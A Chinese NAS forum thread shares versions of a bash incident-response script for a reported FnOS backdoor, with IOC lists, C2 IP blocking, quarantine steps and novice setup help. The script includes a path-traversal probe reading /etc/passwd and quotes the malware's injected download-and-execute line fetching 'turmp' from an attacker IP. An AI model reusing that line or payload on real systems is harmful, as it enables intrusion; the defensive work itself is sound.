收起左侧

飞牛0day后门专杀脚本

30
回复
3237
查看
[ 复制链接 ]

1

主题

4

回帖

0

牛值

江湖小虾

最近发现莫名断网,我还以为是路由器问题,重装了问题依旧,高强度冲浪发现飞牛0day漏洞,全网都被劫持了

fnos 恶意程序分析
飞牛0day后门?,一直中木马

群内作者 @Lany 搞了个专杀脚本,分享给大家,实测有效

#!/bin/bash

# ==========================================================
# FnOS 安全应急处置工具(交互式 · **版)
# 适用于:gots / trim / snd_pcap 入侵场景
# ==========================================================

LOG_FILE="/var/log/fnos_security_fix.log"
BACKUP_DIR="/root/fnos_quarantine_$(date +%F_%H%M%S)"
MALICIOUS_REGEX="45\.95\.212\.102|151\.240\.13\.91|turmp|gots|trim_https_cgi|snd_pcap|57132"
MALICIOUS_IPS=("45.95.212.102" "151.240.13.91")

# ---------- 基础函数 ----------

pause() {
    read -rp "👉 按回车继续..."
}

confirm() {
    read -rp "⚠️  $1 (y/N): " ans
    [[ "$ans" == "y" || "$ans" == "Y" ]]
}

need_root() {
    if [ "$EUID" -ne 0 ]; then
        echo "❌ 请使用 root 权限运行(sudo -i)"
        exit 1
    fi
}

log_init() {
    exec > >(tee -a "$LOG_FILE") 2>&1
    mkdir -p "$BACKUP_DIR"
}

banner() {
    clear
    cat <<'EOF'
====================================================
   FnOS 安全应急处置工具(交互式**版)
====================================================
⚠️  适用于疑似被 gots / trim / snd_pcap 入侵的系统
📌  所有可疑文件将【隔离】而不是直接删除
====================================================
EOF
}

# ---------- 功能模块 ----------

path_traversal_check() {
    echo "🔍 正在检测是否存在路径穿越漏洞..."
    URL="http://127.0.0.1:5666/app-center-static/serviceicon/test/%7B0%7D?size=../../../../etc/passwd"
    if curl -s --max-time 3 "$URL" | grep -q "root:x:0:0"; then
        echo "❌ 发现路径穿越漏洞(强烈建议升级系统)"
    else
        echo "✅ 未检测到路径穿越漏洞"
    fi
}

block_c2() {
    echo "🛑 正在封禁已知恶意 IP..."
    if command -v nft >/dev/null; then
        nft list table inet fnos_guard >/dev/null 2>&1 || nft add table inet fnos_guard
        nft list chain inet fnos_guard output >/dev/null 2>&1 || \
            nft add chain inet fnos_guard output { type filter hook output priority 0 \; }
        for ip in "${MALICIOUS_IPS[@]}"; do
            nft add rule inet fnos_guard output ip daddr "$ip" drop 2>/dev/null
        done
        echo "✅ 已使用 nftables 封禁"
    elif command -v iptables >/dev/null; then
        for ip in "${MALICIOUS_IPS[@]}"; do
            iptables -C OUTPUT -d "$ip" -j DROP 2>/dev/null || \
            iptables -I OUTPUT -d "$ip" -j DROP
        done
        echo "✅ 已使用 iptables 封禁"
    fi
}

scan_and_quarantine() {
    echo "🔎 正在扫描常见恶意文件..."
    TARGETS=("/usr/bin" "/usr/sbin" "/usr/trim" "/tmp" "/var/tmp")

    for dir in "${TARGETS[@]}"; do
        [ ! -d "$dir" ] && continue
        find "$dir" -maxdepth 3 -type f -executable -size -10M 2>/dev/null | while read -r f; do
            if strings "$f" 2>/dev/null | grep -Eq "$MALICIOUS_REGEX"; then
                echo "🚨 发现可疑文件: $f"
                chattr -i "$f" 2>/dev/null
                fuser -k "$f" 2>/dev/null
                mv "$f" "$BACKUP_DIR/$(basename "$f")_$(date +%s)"
            fi
        done
    done
}

remove_kernel_module() {
    echo "🧠 正在检查内核模块 snd_pcap..."
    if lsmod | grep -q snd_pcap; then
        modprobe -r snd_pcap 2>/dev/null || rmmod -f snd_pcap 2>/dev/null
        echo "✅ 已卸载内核模块"
    else
        echo "ℹ️  未发现已加载的 snd_pcap"
    fi
}

fix_persistence() {
    echo "🔧 正在修复系统启动与劫持点..."

    # ld.so.preload
    if [ -f /etc/ld.so.preload ]; then
        chattr -i /etc/ld.so.preload 2>/dev/null
        sed -i "/$MALICIOUS_REGEX/d" /etc/ld.so.preload
        [ ! -s /etc/ld.so.preload ] && rm -f /etc/ld.so.preload
        echo "✅ 已处理 ld.so.preload"
    fi

    # rc.local
    if [ -f /etc/rc.local ]; then
        chattr -i /etc/rc.local 2>/dev/null
        sed -i "/$MALICIOUS_REGEX/d" /etc/rc.local
        echo "✅ 已清理 rc.local"
    fi
}

# ---------- 主流程 ----------

need_root
log_init
banner

echo "请选择操作模式:"
echo "  1) 仅检测(不修改系统)【推荐】"
echo "  2) 自动修复(隔离可疑内容)"
echo "  3) 只封禁恶意 IP"
echo "  4) 退出"
echo

read -rp "请输入选项 [1-4]: " MODE

case "$MODE" in
1)
    path_traversal_check
    ;;
2)
    if ! confirm "此操作会修改系统并隔离文件,是否继续?"; then exit 0; fi
    if ! confirm "你是否已经备份重要数据?"; then exit 0; fi
    block_c2
    scan_and_quarantine
    remove_kernel_module
    fix_persistence
    ;;
3)
    block_c2
    ;;
*)
    echo "👋 已退出"
    exit 0
esac

echo
echo "✅ 操作完成"
echo "📁 隔离目录: $BACKUP_DIR"
echo "📄 日志文件: $LOG_FILE"
echo "⚠️  强烈建议:修改密码并重启系统"

运行结果良好

root@TAD:/home/asura# ./clear.sh
--- [1/6] 封禁恶意 IP 访问 (预防逃逸) ---
--- [2/6] 强制停止恶意进程 ---
--- [3/6] 解锁并删除恶意文件 ---
清理文件: /usr/trim/bin/trim_https_cgi
清理文件: /etc/systemd/system/trim_https_cgi.service
清理文件: /lib/modules/6.12.18-trim/snd_pcap.ko
--- [4/6] 卸载恶意内核模块 ---
内核模块 snd_pcap 已卸载
--- [5/6] 修复系统核心组件 ---
已清理 /etc/rc.local
已修复 /usr/trim/bin/system_startup.sh
--- [6/6] 刷新配置并重启服务 ---
清理完成!
------------------------------------------------
建议后续操作:
1. 立即修改 FnOS 管理界面密码及 SSH 密码。
2. 在飞牛安全设置中,开启防火墙并限制仅内网访问。
3. 检查 /var/log/auth.log 观察是否有异常登录。
4. 重启 NAS 以确保内存中无残留。
------------------------------------------------
收藏
送赞 9
分享

14

主题

157

回帖

0

牛值

初出茅庐

如何食用?windows下一般是做成批处理,这个Linux没怎么玩过,怎么弄,大神。

ssh到飞牛上,保存为 sh后缀文件然后 root权限执行  详情 回复
7 小时前

1

主题

4

回帖

0

牛值

江湖小虾

7 小时前 楼主 显示全部楼层
mimiwuqi 发表于 2026-1-31 14:33
如何食用?windows下一般是做成批处理,这个Linux没怎么玩过,怎么弄,大神。
...

ssh到飞牛上,保存为 sh后缀文件然后 root权限执行

1

主题

4

回帖

0

牛值

江湖小虾

7 小时前 楼主 显示全部楼层
#!/bin/bash

# ==========================================================
# FnOS 安全应急处置工具(交互式 · v2.1 精准版)
# ==========================================================
# v2.1:
#  - IOC 分级:STRICT / LOOSE,严格特征才参与删除/修复
#  - system_startup.sh 精准删除恶意行,避免误删正常 wget
#  - 增加 cron 持久化排查
#  - 增加哈希型 systemd 服务名检测
#  - 文件隔离增加命中原因,进程清理更收敛
# ==========================================================

LOG_FILE="/var/log/fnos_security_fix.log"
BACKUP_DIR="/root/fnos_quarantine_$(date +%F_%H%M%S)"

# --- 威胁**特征库 (IOCs) ---

# 高置信度特征(可用于删除/修复)
STRICT_REGEX="45\.95\.212\.102|151\.240\.13\.91|turmp|gots|trim_https_cgi|snd_pcap|killaurasleep|8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc"

# 宽松特征(用于检测提示,不直接作为删除依据)
LOOSE_REGEX="$STRICT_REGEX|bkd|bkd2|57132"

MALICIOUS_IPS=("45.95.212.102" "151.240.13.91")
MALICIOUS_DOMAINS=("xd.killaurasleep.top")
MALICIOUS_FILES=("bkd" "bkd2" "8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc")

SCAN_DIRS=(
    "/usr/bin"
    "/usr/sbin"
    "/usr/trim"
    "/tmp"
    "/var/tmp"
    "/fnos/usr/trim"
    "/root"
)

# ---------------- 基础函数 ----------------

need_root() {
    if [ "$EUID" -ne 0 ]; then
        echo "❌ 请使用 root 权限运行(sudo -i)"
        exit 1
    fi
}

pause() {
    read -rp "👉 按回车继续..."
}

confirm() {
    read -rp "⚠️  $1 (y/N): " ans
    [[ "$ans" =~ ^[yY]$ ]]
}

log_init() {
    exec > >(tee -a "$LOG_FILE") 2>&1
    mkdir -p "$BACKUP_DIR"
    chmod 700 "$BACKUP_DIR"
}

banner() {
    clear
    cat <<'EOF'
====================================================
   FnOS 安全应急处置工具 v2.1 (精准 IOC 版)
====================================================
⚠️  覆盖威胁: gots / trim / snd_pcap / bkd / killaurasleep
📌  操作逻辑: 隔离文件 -> 阻断网络 -> 清理服务 -> 修复启动项
====================================================
EOF
}

# ---------------- 检测模块 ----------------

path_traversal_check() {
    echo "🔍 [1] 检测路径穿越漏洞..."
    URL="http://127.0.0.1:5666/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/passwd"
    if curl -s --max-time 3 "$URL" | grep -q "root:x:0:0"; then
        echo "❌ [严重] 存在路径穿越漏洞(建议立即升级 FnOS 系统)"
    else
        echo "✅ 未触发路径穿越漏洞"
    fi
}

infection_scan() {
    echo "🔍 [2] 扫描是否已中招(基于最新**)..."
    local hit=0

    # 1. 检查内核模块
    if lsmod | grep -q snd_pcap; then
        echo "❌ 已加载恶意内核模块: snd_pcap"
        hit=1
    fi

    # 2. 检查恶意进程(基于文件名)
    for proc in "${MALICIOUS_FILES[@]}"; do
        if pgrep -f "$proc" >/dev/null; then
            echo "❌ 发现疑似恶意进程正在运行: $proc"
            hit=1
        fi
    done

    # 3. 检查恶意 Systemd 服务文件内容
    if grep -RqsE "$STRICT_REGEX" /etc/systemd/system/ 2>/dev/null; then
        echo "❌ 在 Systemd 服务文件中发现恶意特征"
        hit=1
    fi

    # 4. 检查哈希型服务名
    for svc in /etc/systemd/system/*.service; do
        [ ! -f "$svc" ] && continue
        base=$(basename "$svc")
        if [[ "$base" =~ ^[0-9a-f]{64}\.service$ ]]; then
            echo "❌ 发现可疑哈希服务名: $base"
            hit=1
        fi
    done

    # 5. 特征扫描(关键位置,使用 STRICT)
    if grep -RqsE "$STRICT_REGEX" /fnos/usr/trim /etc/rc.local /etc/ld.so.preload 2>/dev/null; then
        echo "❌ 在系统关键位置发现恶意特征字符串"
        hit=1
    fi

    # 6. cron 持久化检查
    if grep -RqsE "$STRICT_REGEX" /etc/crontab /etc/cron.d 2>/dev/null; then
        echo "❌ 在系统级 cron 中发现恶意特征"
        hit=1
    fi
    if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
        echo "❌ 在 root 用户 crontab 中发现恶意特征"
        hit=1
    fi

    if [ "$hit" -eq 0 ]; then
        echo "✅ 未发现明显入侵迹象"
    else
        echo "⚠️  系统疑似已被入侵(建议执行自动修复模式)"
    fi
}

# ---------------- 修复模块 ----------------

block_network() {
    echo "🛑 [3] 阻断恶意通信..."

    # 备份 hosts
    cp /etc/hosts "$BACKUP_DIR/hosts.bak" 2>/dev/null

    # 1. IP 封禁 (NFT / iptables)
    if command -v nft >/dev/null; then
        nft list table inet fnos_guard >/dev/null 2>&1 || nft add table inet fnos_guard
        nft list chain inet fnos_guard output >/dev/null 2>&1 || \
            nft add chain inet fnos_guard output { type filter hook output priority 0 \; }
        for ip in "${MALICIOUS_IPS[@]}"; do
            nft add rule inet fnos_guard output ip daddr "$ip" drop 2>/dev/null
        done
        echo "   - [防火墙] 已封禁恶意 IP (nftables)"
    elif command -v iptables >/dev/null; then
        for ip in "${MALICIOUS_IPS[@]}"; do
            iptables -C OUTPUT -d "$ip" -j DROP 2>/dev/null || \
            iptables -I OUTPUT -d "$ip" -j DROP
        done
        echo "   - [防火墙] 已封禁恶意 IP (iptables)"
    else
        echo "   - 未检测到 nft/iptables,跳过 IP 封禁"
    fi

    # 2. 域名 Sinkhole (Hosts 劫持)
    for domain in "${MALICIOUS_DOMAINS[@]}"; do
        if ! grep -q "$domain" /etc/hosts; then
            echo "127.0.0.1 $domain" >> /etc/hosts
            echo "   - [Hosts] 已劫持域名: $domain"
        else
            echo "   - [Hosts] 域名已劫持: $domain"
        fi
    done
    echo "✅ 网络阻断策略已应用"
}

kill_process() {
    echo "🔪 [4] 终止恶意进程..."

    # 1. 基于文件名的进程
    for proc in "${MALICIOUS_FILES[@]}"; do
        pids=$(pgrep -f "$proc")
        if [ -n "$pids" ]; then
            echo "   - 正在终止进程: $proc (PID: $pids)"
            kill -9 $pids 2>/dev/null
        fi
    done

    # 2. 更精准:命令行中同时包含关键 IOC 的进程
    pgrep -af "bkd" 2>/dev/null | grep -E "killaurasleep|151\.240\.13\.91" | awk '{print $1}' | xargs -r kill -9 2>/dev/null
    pgrep -af "turmp" 2>/dev/null | awk '{print $1}' | xargs -r kill -9 2>/dev/null

    echo "✅ 进程清理完成"
}

clean_systemd_services() {
    echo "🧹 [5] 清理恶意 Systemd 服务..."

    # 1. 基于内容 IOC 的服务文件
    grep -lE "$STRICT_REGEX" /etc/systemd/system/*.service 2>/dev/null | while read -r service_file; do
        [ -z "$service_file" ] && continue
        service_name=$(basename "$service_file")
        echo "   🚨 发现恶意服务(内容命中): $service_name"

        systemctl stop "$service_name" 2>/dev/null
        systemctl disable "$service_name" 2>/dev/null

        chattr -i "$service_file" 2>/dev/null
        cp "$service_file" "$BACKUP_DIR/"
        rm -f "$service_file"
        echo "   - 已移除并备份服务文件"
    done

    # 2. 基于哈希型服务名的检测
    for service_file in /etc/systemd/system/*.service; do
        [ ! -f "$service_file" ] && continue
        service_name=$(basename "$service_file")
        if [[ "$service_name" =~ ^[0-9a-f]{64}\.service$ ]]; then
            echo "   🚨 发现可疑哈希服务名: $service_name"
            systemctl stop "$service_name" 2>/dev/null
            systemctl disable "$service_name" 2>/dev/null

            chattr -i "$service_file" 2>/dev/null
            cp "$service_file" "$BACKUP_DIR/"
            rm -f "$service_file"
            echo "   - 已移除并备份哈希服务文件"
        fi
    done

    systemctl daemon-reload
    echo "✅ Systemd 服务清理完成"
}

scan_and_quarantine() {
    echo "🔎 [6] 深度扫描并隔离文件..."

    for dir in "${SCAN_DIRS[@]}"; do
        [ ! -d "$dir" ] && continue
        echo "   正在扫描目录: $dir"

        find "$dir" -maxdepth 3 -type f -executable -mtime -30 2>/dev/null | while read -r f; do
            [ "$f" == "$0" ] && continue

            filename=$(basename "$f")
            match=0
            reason=""

            # 1. 文件名命中恶意列表(高置信度)
            for bad_name in "${MALICIOUS_FILES[@]}"; do
                if [[ "$filename" == "$bad_name" ]]; then
                    match=1
                    reason="name-hit:$bad_name"
                    break
                fi
            done

            # 2. 内容命中严格 IOC(更安全)
            if [ $match -eq 0 ]; then
                if strings "$f" 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
                    match=1
                    reason="content-hit:STRICT"
                fi
            fi

            # 3. 可选:内容命中组合 IOC(网络 + 域名)
            if [ $match -eq 0 ]; then
                if strings "$f" 2>/dev/null | grep -q "151\.240\.13\.91" && \
                   strings "$f" 2>/dev/null | grep -q "killaurasleep"; then
                    match=1
                    reason="content-hit:IP+domain"
                fi
            fi

            if [ $match -eq 1 ]; then
                echo "🚨 发现威胁文件: $f  (原因: $reason)"
                chattr -i "$f" 2>/dev/null
                fuser -k "$f" 2>/dev/null
                mv "$f" "$BACKUP_DIR/$(basename "$f")_$(date +%s).infected"
                echo "   -> 已隔离至备份目录"
            fi
        done
    done
    echo "✅ 文件扫描完成"
}

remove_kernel_module() {
    echo "🧠 [7] 清理恶意内核模块..."
    if lsmod | grep -q snd_pcap; then
        echo "   - 发现 snd_pcap,尝试卸载..."
        modprobe -r snd_pcap 2>/dev/null || rmmod -f snd_pcap 2>/dev/null
        if lsmod | grep -q snd_pcap; then
             echo "❌ 卸载失败,可能需要重启系统进入恢复模式处理"
        else
             echo "✅ snd_pcap 已卸载"
        fi
    else
        echo "ℹ️ 未发现 snd_pcap 模块"
    fi
}

fix_persistence_common() {
    echo "🔧 [8] 修复通用持久化配置..."

    # 修复 ld.so.preload(仅删除 STRICT 命中的行)
    if [ -f /etc/ld.so.preload ]; then
        if grep -Eq "$STRICT_REGEX" /etc/ld.so.preload; then
            echo "   - 修复 /etc/ld.so.preload"
            chattr -i /etc/ld.so.preload 2>/dev/null
            cp /etc/ld.so.preload "$BACKUP_DIR/ld.so.preload.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/ld.so.preload
            [ ! -s /etc/ld.so.preload ] && rm -f /etc/ld.so.preload
        fi
    fi

    # 修复 rc.local(仅删除 STRICT 命中的行)
    if [ -f /etc/rc.local ]; then
         if grep -Eq "$STRICT_REGEX" /etc/rc.local; then
            echo "   - 修复 /etc/rc.local"
            chattr -i /etc/rc.local 2>/dev/null
            cp /etc/rc.local "$BACKUP_DIR/rc.local.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/rc.local
         fi
    fi

    # 修复 cron(备份后删除 STRICT 命中的行)
    if [ -f /etc/crontab ]; then
        if grep -Eq "$STRICT_REGEX" /etc/crontab; then
            echo "   - 修复 /etc/crontab"
            cp /etc/crontab "$BACKUP_DIR/crontab.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/crontab
        fi
    fi
    if ls /etc/cron.d/* >/dev/null 2>&1; then
        for f in /etc/cron.d/*; do
            [ ! -f "$f" ] && continue
            if grep -Eq "$STRICT_REGEX" "$f"; then
                echo "   - 修复 cron.d: $f"
                cp "$f" "$BACKUP_DIR/$(basename "$f").bak"
                sed -i -E "/$STRICT_REGEX/d" "$f"
            fi
        done
    fi
    if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
        echo "   - 修复 root crontab"
        crontab -l > "$BACKUP_DIR/root.crontab.bak"
        crontab -l | sed -E "/$STRICT_REGEX/d" | crontab -
    fi

    echo "✅ 持久化配置检查完成"
}

fix_fnos_system_startup() {
    FILE="/fnos/usr/trim/bin/system_startup.sh"

    echo "🔧 [9] 修复 FnOS 特定启动项..."

    [ ! -f "$FILE" ] && { echo "ℹ️ 未找到 $FILE,跳过"; return; }

    # 仅用于判断是否疑似被篡改
    if grep -Eq "151\.240\.13\.91|turmp|killaurasleep" "$FILE"; then
        echo "❌ 在 system_startup.sh 中发现疑似恶意代码"

        chattr -i "$FILE" 2>/dev/null
        cp "$FILE" "$BACKUP_DIR/system_startup.sh.bak"

        # 精准删除已知恶意注入行:
        # wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
        sed -i '\|wget http://151\.240\.13\.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp|d' "$FILE"

        # 兼容未来 turmp 变种(仍然保持行为链特征)
        sed -i '/wget .*turmp .*chmod .*turmp .*\/tmp\/turmp/d' "$FILE"

        echo "✅ 恶意启动行已清除(原文件已备份)"
    else
        echo "✅ system_startup.sh 未发现异常特征"
    fi
}

# ---------------- 主流程 ----------------

need_root
log_init
banner

echo "请选择操作模式:"
echo "  1) 仅检测(推荐先跑,无风险)"
echo "  2) 自动修复(执行阻断、清理、修复)"
echo "  3) 仅封禁网络(防火墙 + Hosts)"
echo "  4) 退出"
echo

read -rp "请输入选项 [1-4]: " MODE

case "$MODE" in
1)
    path_traversal_check
    infection_scan
    ;;
2)
    echo "----------------------------------------------------"
    echo "⚠️  注意:修复过程中会停止恶意进程并移动文件。"
    confirm "建议您已备份重要数据。是否开始执行?" || exit 0
    echo "----------------------------------------------------"

    block_network           # 先断网,防止下载新样本
    kill_process            # 杀进程,防止锁文件
    clean_systemd_services  # 清理 systemd 服务(含哈希服务名)
    remove_kernel_module    # 卸载内核模块
    fix_persistence_common  # 修复 rc.local / ld.so.preload / cron
    fix_fnos_system_startup # 修复 FnOS 特有脚本
    scan_and_quarantine     # 最后扫描残留文件
    ;;
3)
    block_network
    ;;
*)
    echo "👋 已退出"
    exit 0
esac

echo
echo "===================================================="
echo "✅ 操作已结束"
echo "📁 隔离文件目录: $BACKUP_DIR"
echo "📄 详细日志记录: $LOG_FILE"
echo "💡 安全建议:"
echo "   1. 立即修改 SSH 密码和 FnOS 后台密码"
echo "   2. 检查 /root/.ssh/authorized_keys 是否有陌生公钥"
echo "   3. 建议重启系统以确保所有内存加载项已清除"
echo "   4. 如有疑虑,可将日志与隔离文件交给安全团队复核"
echo "===================================================="

1

主题

4

回帖

0

牛值

江湖小虾

感谢楼主,补个操作为新手兄弟们服务:
1.通过ssh连接到飞牛,工具有很多,直接连接或者在飞牛应用商店里装个终端都行

2.在ssh当前路径下输入:sudo nano clean.sh,然后把楼主的脚本全部粘贴进去

3.按ctrl+o,出现提示按回车,然后再按ctrl+x退出

4.输入sudo chmod +x clean.sh , 回车给予权限

5.输入sudo ./clean.sh ,执行文件出现脚本提示:

image.png

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
谢谢你的帮助  详情 回复
2 小时前
商店已经把这个终端下了,你卸载看看商店还有吗,还能安装吗  详情 回复
7 小时前
1

查看全部评分

14

主题

157

回帖

0

牛值

初出茅庐

哦,这个后缀.sh的扩展名就是Linux的批处理吗?
传上去之后 sudo -s 切换到root 然后 bash xxx.sh 执行脚本即可  详情 回复
7 小时前

1

主题

4

回帖

0

牛值

江湖小虾

7 小时前 楼主 显示全部楼层
mimiwuqi 发表于 2026-1-31 16:30
哦,这个后缀.sh的扩展名就是Linux的批处理吗?

传上去之后 sudo -s 切换到root
然后 bash  xxx.sh 执行脚本即可

1

主题

4

回帖

0

牛值

江湖小虾

7 小时前 楼主 显示全部楼层

#!/bin/bash

# ==========================================================
# FnOS 安全应急处置工具(交互式 · v2.1 精准版)
# ==========================================================
# v2.1:
#  - IOC 分级:STRICT / LOOSE,严格特征才参与删除/修复
#  - system_startup.sh 精准删除恶意行,避免误删正常 wget
#  - 增加 cron 持久化排查
#  - 增加哈希型 systemd 服务名检测
#  - 文件隔离增加命中原因,进程清理更收敛
# ==========================================================

LOG_FILE="/var/log/fnos_security_fix.log"
BACKUP_DIR="/root/fnos_quarantine_$(date +%F_%H%M%S)"

# --- 威胁**特征库 (IOCs) ---

# 高置信度特征(可用于删除/修复)
STRICT_REGEX="45\.95\.212\.102|151\.240\.13\.91|turmp|gots|trim_https_cgi|snd_pcap|killaurasleep|8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc"

# 宽松特征(用于检测提示,不直接作为删除依据)
LOOSE_REGEX="$STRICT_REGEX|bkd|bkd2|57132"

MALICIOUS_IPS=("45.95.212.102" "151.240.13.91")
MALICIOUS_DOMAINS=("xd.killaurasleep.top")
MALICIOUS_FILES=("bkd" "bkd2" "8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc")

SCAN_DIRS=(
    "/usr/bin"
    "/usr/sbin"
    "/usr/trim"
    "/tmp"
    "/var/tmp"
    "/fnos/usr/trim"
    "/root"
)

# ---------------- 基础函数 ----------------

need_root() {
    if [ "$EUID" -ne 0 ]; then
        echo "❌ 请使用 root 权限运行(sudo -i)"
        exit 1
    fi
}

pause() {
    read -rp "👉 按回车继续..."
}

confirm() {
    read -rp "⚠️  $1 (y/N): " ans
    [[ "$ans" =~ ^[yY]$ ]]
}

log_init() {
    exec > >(tee -a "$LOG_FILE") 2>&1
    mkdir -p "$BACKUP_DIR"
    chmod 700 "$BACKUP_DIR"
}

banner() {
    clear
    cat <<'EOF'
====================================================
   FnOS 安全应急处置工具 v2.1 (精准 IOC 版)
====================================================
⚠️  覆盖威胁: gots / trim / snd_pcap / bkd / killaurasleep
📌  操作逻辑: 隔离文件 -> 阻断网络 -> 清理服务 -> 修复启动项
====================================================
EOF
}

# ---------------- 检测模块 ----------------

path_traversal_check() {
    echo "🔍 [1] 检测路径穿越漏洞..."
    URL="http://127.0.0.1:5666/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/passwd"
    if curl -s --max-time 3 "$URL" | grep -q "root:x:0:0"; then
        echo "❌ [严重] 存在路径穿越漏洞(建议立即升级 FnOS 系统)"
    else
        echo "✅ 未触发路径穿越漏洞"
    fi
}

infection_scan() {
    echo "🔍 [2] 扫描是否已中招(基于最新**)..."
    local hit=0

    # 1. 检查内核模块
    if lsmod | grep -q snd_pcap; then
        echo "❌ 已加载恶意内核模块: snd_pcap"
        hit=1
    fi

    # 2. 检查恶意进程(基于文件名)
    for proc in "${MALICIOUS_FILES[@]}"; do
        if pgrep -f "$proc" >/dev/null; then
            echo "❌ 发现疑似恶意进程正在运行: $proc"
            hit=1
        fi
    done

    # 3. 检查恶意 Systemd 服务文件内容
    if grep -RqsE "$STRICT_REGEX" /etc/systemd/system/ 2>/dev/null; then
        echo "❌ 在 Systemd 服务文件中发现恶意特征"
        hit=1
    fi

    # 4. 检查哈希型服务名
    for svc in /etc/systemd/system/*.service; do
        [ ! -f "$svc" ] && continue
        base=$(basename "$svc")
        if [[ "$base" =~ ^[0-9a-f]{64}\.service$ ]]; then
            echo "❌ 发现可疑哈希服务名: $base"
            hit=1
        fi
    done

    # 5. 特征扫描(关键位置,使用 STRICT)
    if grep -RqsE "$STRICT_REGEX" /fnos/usr/trim /etc/rc.local /etc/ld.so.preload 2>/dev/null; then
        echo "❌ 在系统关键位置发现恶意特征字符串"
        hit=1
    fi

    # 6. cron 持久化检查
    if grep -RqsE "$STRICT_REGEX" /etc/crontab /etc/cron.d 2>/dev/null; then
        echo "❌ 在系统级 cron 中发现恶意特征"
        hit=1
    fi
    if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
        echo "❌ 在 root 用户 crontab 中发现恶意特征"
        hit=1
    fi

    if [ "$hit" -eq 0 ]; then
        echo "✅ 未发现明显入侵迹象"
    else
        echo "⚠️  系统疑似已被入侵(建议执行自动修复模式)"
    fi
}

# ---------------- 修复模块 ----------------

block_network() {
    echo "🛑 [3] 阻断恶意通信..."

    # 备份 hosts
    cp /etc/hosts "$BACKUP_DIR/hosts.bak" 2>/dev/null

    # 1. IP 封禁 (NFT / iptables)
    if command -v nft >/dev/null; then
        nft list table inet fnos_guard >/dev/null 2>&1 || nft add table inet fnos_guard
        nft list chain inet fnos_guard output >/dev/null 2>&1 || \
            nft add chain inet fnos_guard output { type filter hook output priority 0 \; }
        for ip in "${MALICIOUS_IPS[@]}"; do
            nft add rule inet fnos_guard output ip daddr "$ip" drop 2>/dev/null
        done
        echo "   - [防火墙] 已封禁恶意 IP (nftables)"
    elif command -v iptables >/dev/null; then
        for ip in "${MALICIOUS_IPS[@]}"; do
            iptables -C OUTPUT -d "$ip" -j DROP 2>/dev/null || \
            iptables -I OUTPUT -d "$ip" -j DROP
        done
        echo "   - [防火墙] 已封禁恶意 IP (iptables)"
    else
        echo "   - 未检测到 nft/iptables,跳过 IP 封禁"
    fi

    # 2. 域名 Sinkhole (Hosts 劫持)
    for domain in "${MALICIOUS_DOMAINS[@]}"; do
        if ! grep -q "$domain" /etc/hosts; then
            echo "127.0.0.1 $domain" >> /etc/hosts
            echo "   - [Hosts] 已劫持域名: $domain"
        else
            echo "   - [Hosts] 域名已劫持: $domain"
        fi
    done
    echo "✅ 网络阻断策略已应用"
}

kill_process() {
    echo "🔪 [4] 终止恶意进程..."

    # 1. 基于文件名的进程
    for proc in "${MALICIOUS_FILES[@]}"; do
        pids=$(pgrep -f "$proc")
        if [ -n "$pids" ]; then
            echo "   - 正在终止进程: $proc (PID: $pids)"
            kill -9 $pids 2>/dev/null
        fi
    done

    # 2. 更精准:命令行中同时包含关键 IOC 的进程
    pgrep -af "bkd" 2>/dev/null | grep -E "killaurasleep|151\.240\.13\.91" | awk '{print $1}' | xargs -r kill -9 2>/dev/null
    pgrep -af "turmp" 2>/dev/null | awk '{print $1}' | xargs -r kill -9 2>/dev/null

    echo "✅ 进程清理完成"
}

clean_systemd_services() {
    echo "🧹 [5] 清理恶意 Systemd 服务..."

    # 1. 基于内容 IOC 的服务文件
    grep -lE "$STRICT_REGEX" /etc/systemd/system/*.service 2>/dev/null | while read -r service_file; do
        [ -z "$service_file" ] && continue
        service_name=$(basename "$service_file")
        echo "   🚨 发现恶意服务(内容命中): $service_name"

        systemctl stop "$service_name" 2>/dev/null
        systemctl disable "$service_name" 2>/dev/null

        chattr -i "$service_file" 2>/dev/null
        cp "$service_file" "$BACKUP_DIR/"
        rm -f "$service_file"
        echo "   - 已移除并备份服务文件"
    done

    # 2. 基于哈希型服务名的检测
    for service_file in /etc/systemd/system/*.service; do
        [ ! -f "$service_file" ] && continue
        service_name=$(basename "$service_file")
        if [[ "$service_name" =~ ^[0-9a-f]{64}\.service$ ]]; then
            echo "   🚨 发现可疑哈希服务名: $service_name"
            systemctl stop "$service_name" 2>/dev/null
            systemctl disable "$service_name" 2>/dev/null

            chattr -i "$service_file" 2>/dev/null
            cp "$service_file" "$BACKUP_DIR/"
            rm -f "$service_file"
            echo "   - 已移除并备份哈希服务文件"
        fi
    done

    systemctl daemon-reload
    echo "✅ Systemd 服务清理完成"
}

scan_and_quarantine() {
    echo "🔎 [6] 深度扫描并隔离文件..."

    for dir in "${SCAN_DIRS[@]}"; do
        [ ! -d "$dir" ] && continue
        echo "   正在扫描目录: $dir"

        find "$dir" -maxdepth 3 -type f -executable -mtime -30 2>/dev/null | while read -r f; do
            [ "$f" == "$0" ] && continue

            filename=$(basename "$f")
            match=0
            reason=""

            # 1. 文件名命中恶意列表(高置信度)
            for bad_name in "${MALICIOUS_FILES[@]}"; do
                if [[ "$filename" == "$bad_name" ]]; then
                    match=1
                    reason="name-hit:$bad_name"
                    break
                fi
            done

            # 2. 内容命中严格 IOC(更安全)
            if [ $match -eq 0 ]; then
                if strings "$f" 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
                    match=1
                    reason="content-hit:STRICT"
                fi
            fi

            # 3. 可选:内容命中组合 IOC(网络 + 域名)
            if [ $match -eq 0 ]; then
                if strings "$f" 2>/dev/null | grep -q "151\.240\.13\.91" && \
